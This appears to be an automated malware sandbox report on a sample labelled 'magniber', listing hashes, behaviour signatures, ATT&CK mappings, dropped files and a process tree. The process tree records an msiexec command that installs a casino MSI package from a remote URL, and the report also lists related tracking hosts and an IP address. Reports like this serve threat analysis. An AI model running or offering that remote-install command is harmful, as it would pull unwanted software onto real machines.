cc803ff7745600a0c8448059971e0cd5578027242de246e79bd2ed4a8ea9587d

General

Target
2024-09-07_1928ae4cf71a162b5a44b023e81797e1_magniber.exe
Size 1.4MB
Sample240907-mgl9mszaqf
SHA256 cc803ff7745600a0c8448059971e0cd5578027242de246e79bd2ed4a8ea9587d
MD5 1928ae4cf71a162b5a44b023e81797e1
SHA1 53ea1cd14c3f3ea876b8d3969023954a747db738
SHA512 bcd3d05b08131b574b2e829f616e2e8ce81ee518d098635c0f9c78f5d9a736fe3f2b652fee4eaaaf1dbb9c8933562df1a65a9c4d6eb4078498887fdda26994ba
SSDEEP 24576:gaQgoSOyZZ/8nG42lIJ4/31gNPqLugIVYQCHvwbgDAQTwP4jZbH+ogJIeETEnH8E:gaxZ6GGJm3WlGtobOAQTwOZbH+HnIEnf
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2068	~ba71qlsvg0.tmp

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
928	MSIEXEC.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	~ba71qlsvg0.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSIEXEC.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-09-07_1928ae4cf71a162b5a44b023e81797e1_magniber.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	928	MSIEXEC.EXE
Token: SeIncreaseQuotaPrivilege	928	MSIEXEC.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
928	MSIEXEC.EXE
928	MSIEXEC.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1700 wrote to memory of 2068	1700	2024-09-07_1928ae4cf71a162b5a44b023e81797e1_magniber.exe	83
PID 1700 wrote to memory of 2068	1700	2024-09-07_1928ae4cf71a162b5a44b023e81797e1_magniber.exe	83
PID 1700 wrote to memory of 2068	1700	2024-09-07_1928ae4cf71a162b5a44b023e81797e1_magniber.exe	83
PID 2068 wrote to memory of 928	2068	~ba71qlsvg0.tmp	91
PID 2068 wrote to memory of 928	2068	~ba71qlsvg0.tmp	91
PID 2068 wrote to memory of 928	2068	~ba71qlsvg0.tmp	91

C:\Users\Admin\AppData\Local\Temp\2024-09-07_1928ae4cf71a162b5a44b023e81797e1_magniber.exe
"C:\Users\Admin\AppData\Local\Temp\2024-09-07_1928ae4cf71a162b5a44b023e81797e1_magniber.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1700
- C:\Users\Admin\AppData\Local\Temp\~ba71qlsvg0.tmp
  "C:\Users\Admin\AppData\Local\Temp\~ba71qlsvg0.tmp"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\SysWOW64\MSIEXEC.EXE
    MSIEXEC.EXE /i "http://pliuht.cdnpckgs.eu/client/pkgs/coolcat/Cool Cat Casino20150717033028.msi" DDC_DID=8070064 DDC_RTGURL=http://www.serverdnl.eu/dl/TrackSetup/TrackSetup.aspx?DID=8070064 DDC_DOWNLOAD_AFFID=19035 DDC_UPDATESTATUSURL=http://190.4.94.37:8080/coolcat/Lobby.WebServices/Installer.asmx DDC_SIGNUPURL=http://190.4.94.37:8080/coolcat/Lobby.WebSite/SignUpUnsecure.aspx CUSTOMNAME02=trackingID CUSTOMVALUE02=CC SETUPEXEDIR="C:\Users\Admin\AppData\Local\Temp" SETUPEXENAME="~ba71qlsvg0.tmp"
    3⤵
    - Use of msiexec (install) with remote resource
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

_is9E58.tmp

Path C:\Users\Admin\AppData\Local\Temp\_is9E58.tmp
Size 1KB
SHA256 f397f112fd6dca1979dc1e6c61505203241dd1462c33cce15d3383cdfe434532
MD5 67869528bc28a49529c8d87d47c4d776
SHA1 93e8e6e23d8e30874e8a2fbe25d70f90cf21f50f
SHA512 f0ad3554e210e23b8375ee01ed4a0266639fb095ce06e4b2017b5e8e6ac965f840549ce6ab0efb798bf37fa6e1f372d123aa4cd2e56b4b185dfbd5f1c1817b31
MD5 SHA1 SHA512

Submit Download

0x0409.ini

Path C:\Users\Admin\AppData\Local\Temp\{98CC5B3D-F801-44E9-9938-85C3A1EE9308}\0x0409.ini
Size 21KB
SHA256 e994689a13b9448c074f9b471edeec9b524890a0d82925e98ab90b658016d8f3
MD5 be345d0260ae12c5f2f337b17e07c217
SHA1 0976ba0982fe34f1c35a0974f6178e15c238ed7b
SHA512 77040dbee29be6b136a83b9e444d8b4f71ff739f7157e451778fb4fccb939a67ff881a70483de16bcb6ae1fea64a89e00711a33ec26f4d3eea8e16c9e9553eff
SSDEEP 384:CTmyuV//BiTbh/G4AwC2WrP2DBWa/Oa0Mhs+XVgv:CT6V//BiXh/z/lWr0aa0Mhs+XVgv
MD5 SHA1 SHA512 SSDEEP

Submit Download

_ISMSIDEL.INI

Path C:\Users\Admin\AppData\Local\Temp\{98CC5B3D-F801-44E9-9938-85C3A1EE9308}\_ISMSIDEL.INI
Size 20B
SHA256 0a33c5dffabcf31a1f6802026e9e2eef4b285e57fd79d52fdcd98d6502d14b13
MD5 db9af7503f195df96593ac42d5519075
SHA1 1b487531bad10f77750b8a50aca48593379e5f56
SHA512 6839264e14576fe190260a4b82afc11c88e50593a20113483851bf4abfdb7cca9986bef83f4c6b8f98ef4d426f07024cf869e8ab393df6d2b743b9b8e2544e1b
MD5 SHA1 SHA512

Submit Download

~9E36.tmp

Path C:\Users\Admin\AppData\Local\Temp\~9E36.tmp
Size 5KB
SHA256 e61ca30676ccfe4851a9efc70287d6152c2aca9efb52eefe234a21d68e44ee77
MD5 5aecdd80f1f916ef7f3bf15fc60197df
SHA1 ea0f03882956a5d2d2b349ccfcfa1015b04ab783
SHA512 695d199c3d3c789b013d7bde78400e0032df0f31dd7d444b5658c6a6bf45aa32615f6a9a132539d70ac41ddd3d9e4f53aa3ba6b22e3ec29bc39282b56f8c2e70
SSDEEP 96:rEhkMJG9esxklY5ExeiG8ON/XsEbFWaEPRhS+gWPQPgWRGTwQbPrvnp6kY05w7tG:YhUes+q4WcuQaEZhdxoIWRGcQbPr/p00
MD5 SHA1 SHA512 SSDEEP

Submit Download

~ba71qlsvg0.tmp

Path C:\Users\Admin\AppData\Local\Temp\~ba71qlsvg0.tmp
Size 1.2MB
SHA256 4dda3da79d13c590565c3687ab0f90ec941f29ec2d93cb701639784669465713
MD5 9686573142c3466c37505705f69c15cc
SHA1 999287867a4f5e9ca949a0115171207682a4cdd1
SHA512 a65f99ff1cd1589e8841085f18bac9aa400d2b3f87bb139f33b1ecfaef45a43deb7bbf049a0eddb8a3f573a0403d92b27ecdefacf96a898495e4662e28b90e28
SSDEEP 24576:SxNlFSIthzcjw4hfvyERsHo0VxvkTbFU7QWUA:S7KIzyhh5Oo0wTbFcZJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads